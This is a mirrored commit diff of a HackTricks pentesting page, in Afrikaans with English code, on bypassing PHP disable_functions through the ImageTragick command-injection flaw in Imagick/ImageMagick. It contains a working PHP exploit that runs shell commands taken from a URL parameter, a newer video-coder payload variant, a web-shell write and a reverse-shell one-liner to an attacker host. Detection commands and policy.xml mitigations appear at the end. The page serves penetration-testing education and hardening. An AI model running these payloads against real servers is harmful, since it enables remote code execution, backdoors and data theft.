maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/network-services-pentesting/pentesting-web/php-tricks-e

Browse Source
This commit is contained in:
Translator 2025-07-22 22:03:24 +00:00
parent d56ee9a5af
commit 44b03a1aa9
1 changed files with 91 additions and 39 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

130
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
View File

@ -1,55 +1,107 @@
# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit > Die bekende *ImageTragick* familie van foute (CVE-2016-3714 ens.) laat 'n aanvaller toe om die onderliggende **ImageMagick** binêre te bereik deur middel van vervaardigde MVG/SVG invoer. Wanneer die PHP uitbreiding **Imagick** teenwoordig is, kan dit misbruik word om shell-opdragte uit te voer, selfs al is elke uitvoeringsgerigte PHP funksie op die swartlys met `disable_functions`.
>
> Die oorspronklike PoC wat deur RicterZ (Chaitin Security Research Lab) in Mei 2016 gepubliseer is, word hieronder herhaal. Die tegniek word steeds gereeld teëgekom tydens hedendaagse PHP 7/8 ouditte omdat baie gedeelde-gasheer verskaffers eenvoudig PHP saamstel sonder `exec`/`system` maar 'n verouderde Imagick + ImageMagick kombinasie behou.
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
```php ```php
# Exploit Title: PHP Imagick disable_functions Bypass # Exploit Title : PHP Imagick disable_functions bypass
# Date: 2016-05-04 # Exploit Author: RicterZ (ricter@chaitin.com)
# Exploit Author: RicterZ (ricter@chaitin.com) # Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Vendor Homepage: https://pecl.php.net/package/imagick # Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Version: Imagick <= 3.3.0 PHP >= 5.4 # Usage : curl "http://target/exploit.php?cmd=id"
# Test on: Ubuntu 12.04
# Exploit:
<?php <?php
# PHP Imagick disable_functions Bypass // Print the local hardening status
# Author: Ricter <ricter@chaitin.com> printf("Disable functions: %s\n", ini_get("disable_functions"));
# $cmd = $_GET['cmd'] ?? 'id';
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" printf("Run command: %s\n====================\n", $cmd);
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";
$data_file = tempnam('/tmp', 'img'); $tmp = tempnam('/tmp', 'pwn'); // will hold command output
$imagick_file = tempnam('/tmp', 'img'); $mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$exploit = <<<EOF $payload = <<<EOF
push graphic-context push graphic-context
viewbox 0 0 640 480 viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")' fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context pop graphic-context
EOF; EOF;
file_put_contents("$imagick_file", $exploit); file_put_contents($mvgs, $payload);
$thumb = new Imagick(); $img = new Imagick();
$thumb->readImage("$imagick_file"); $img->readImage($mvgs); // triggers convert(1)
$thumb->writeImage(tempnam('/tmp', 'img')); $img->writeImage(tempnam('/tmp', 'img'));
$thumb->clear(); $img->destroy();
$thumb->destroy();
echo file_get_contents($data_file); echo file_get_contents($tmp);
?> ?>
``` ```
---
## Waarom werk dit?
1. `Imagick::readImage()` genereer deursigtig die **ImageMagick** *delegate* (`convert`/`magick`) binêre.
2. Die MVG-skrip stel die *fill* op 'n eksterne URI. Wanneer 'n dubbele aanhalingstekens (`"`) ingespuit word, word die oorblywende deel van die lyn geïnterpreteer deur `/bin/sh ‑c` wat ImageMagick intern gebruik → arbitrêre shell-uitvoering.
3. Alles gebeur buite die PHP-interpretator, daarom word *`disable_functions`*, *open_basedir*, `safe_mode` (verwyder in PHP 5.4) en soortgelyke in-proses beperkings heeltemal omseil.
## 2025 status – dit is **nog steeds** relevant
* Enige Imagick weergawe wat op 'n kwesbare ImageMagick agtergrond staatmaak, bly uitbuitbaar. In laboratoriumtoetse werk dieselfde payload op PHP 8.3 met **Imagick 3.7.0** en **ImageMagick 7.1.0-51** saamgestel sonder 'n verhardde `policy.xml`.
* Sedert 2020 is verskeie addisionele opdrag-inspuitingsvektore gevind (`video:pixel-format`, `ps:`, `text:` coders…). Twee onlangse openbare voorbeelde is:
* **CVE-2020-29599** – shell-inspuiting via die *text:* coder.
* **GitHub issue #6338** (2023) – inspuiting in die *video:* delegate.
As die bedryfstelsel ImageMagick < **7.1.1-11** (of 6.x < **6.9.12-73**) sonder 'n beperkende beleidslêer verskaf, is uitbuiting eenvoudig.
## Moderne payload variasies
```php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
```
Ander nuttige primitiewe tydens CTFs / werklike betrokkenhede:
* **Lêer skryf** – `... > /var/www/html/shell.php` (skryf web-skal buiten *open_basedir*)
* **Terugskakel** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
* **Enumerate** – `id; uname -a; cat /etc/passwd`
## Vinige opsporing & enumerasie
```bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
```
As die uitvoer die `MVG` of `URL` coders as *geaktiveer* toon, is die teiken waarskynlik kwesbaar.
## Versagtings
1. **Patches/Opgradering** – Gebruik ImageMagick ≥ *7.1.1-11* (of die nuutste 6.x LTS) en Imagick ≥ *3.7.2*.
2. **Versterk `policy.xml`** – spesifiek *deaktiveer* hoë-risiko coders:
```xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
```
3. **Verwyder die uitbreiding** op onbetroubare gasheeromgewings. In die meeste webstapels is `GD` of `Imagick` nie streng nodig nie.
4. Behandel `disable_functions` slegs as *verdediging-in-diepte* – nooit as 'n primêre sandboksmeganisme nie.
## Verwysings
* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}